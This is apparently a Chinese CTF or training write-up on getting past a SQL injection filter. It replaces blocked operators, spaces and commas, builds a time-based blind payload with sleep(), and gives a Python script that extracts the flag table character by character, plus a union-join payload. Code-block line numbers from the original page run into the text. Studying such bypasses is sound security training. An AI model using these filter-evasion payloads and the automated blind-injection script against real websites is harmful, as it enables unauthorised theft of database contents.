前言
本文为某次培训练习题解题过程,该题考察SQL注入绕过方法,难度中等。
正文
- 观察题目,可知道本题考察SQL注入绕过,经过测试,发现拦截=、and、or、,、- =可用- like代替
- and可用- &代替
- or可用- |代替
- 空格可用注释绕过/**/
- 逗号可用from a for b绕过,但是仅限于函数内逗号,所以本题不能使用union select 1,flag from flag来直接获取到结果(误,可以使用join绕过,见方法二)
 以下为以前使用过的一个绕过逗号拦截的payload,我们可以在它的基础上进行修改:1 1' and (select * from (select case when (substring((select user()) from 1 for 1)='c') then sleep(3) else 0 end)A) -- 
- ctf注入题的flag通常在flag表,所以我们直接跑这个表了,所以把payload修改为如下:1 1' and (select * from (select case when (substring((select * from flag) from 1 for 1)='c') then sleep(3) else 0 end)A) -- 
- 因为for里面的or也会拦截,所以换成这种写法:所以payload修改为:1 
 2from a //表示从最后一个字母取,取a个字母,如果越界则为空值 
 select substring((select user()) from -14);这里的-1表示截取倒数第一个字符,2与该字符的ASCII码进行比对1 1' and (select * from (select case when (ascii(substring((select * from flag) from -1))=2) then sleep(3) else 0 end)A) -- 
- 然后替换and为&,=为like,/**/,因为最后的--注释符替换成/**/--/**/的话会失效,所以使用#注释,最终payload:我们知道flag字符串最终位为1 1'/**//**/&/**/(select/**/*/**/from/**/(select/**/case/**/when/**/(ascii(substring((select/**/*/**/from/**/flag)/**/from/**/-1))/**/like/**/125)/**/then/**/sleep(3)/**/else/**/0/**/end)A)# },其ASCII码值为125,所以测试这位的值来验证我们的payload,可以看到确实延迟了3s:![]() 
 如果修改为错误的值则不会:![]() 
- 那么我们就可以根据上面的payload编写最终exp了:运行结果:1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38import requests 
 import string
 import time
 def exp(keynum, chrord):
 burp0_url = "http://x.x.x.x:xxxxx/?id=1'/**/%26/**/(select/**/*/**/from/**/(select/**/case/**/when/**/(ascii(substring((select/**/*/**/from/**/flag)/**/from/**/-{}))/**/like/**/{})/**/then/**/sleep(2)/**/else/**/0/**/end)A)%23".format(keynum, chrord)
 # print(burp0_url)
 burp0_cookies = {"PHPSESSID": "o19hhhgs7vncjnq8ffmlubp3h1"}
 burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
 requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
 flagchars = string.ascii_lowercase + string.digits + '{}_-'
 flagchars_ordlist = [ord(c) for c in flagchars]
 flag = ''
 pre_chr = ''
 for i in range(1, 43):
 for j in flagchars_ordlist:
 c = chr(j)
 retry = 3
 while retry > 0:
 try:
 now = time.time()
 exp(i, j)
 end = time.time()
 break
 except:
 # 重试
 retry -= 1
 if end - now > 2:
 print(c)
 flag += c
 break
 else:
 print('not in letters')
 print(flag[::-1])![]() 
方法二
使用join可以把两个表查询的结果左右合并,从而拼接多个字段,如下:
| 1 | select 1,2 from (select 1,2)a where 'a'='a' union select * from (select 1)b join (select 2)c; | 

| 1 | # 创建数据库及表 | 

根据上面的实验,最终构造如下payload:
| 1 | 1'/**/&/**/1/**/like/**/0/**/union/**/select/**/*/**/from/**/(select/**/1)a/**/join/**/(select/**/*/**/from/**/flag)b# | 
编码后发送可取得flag


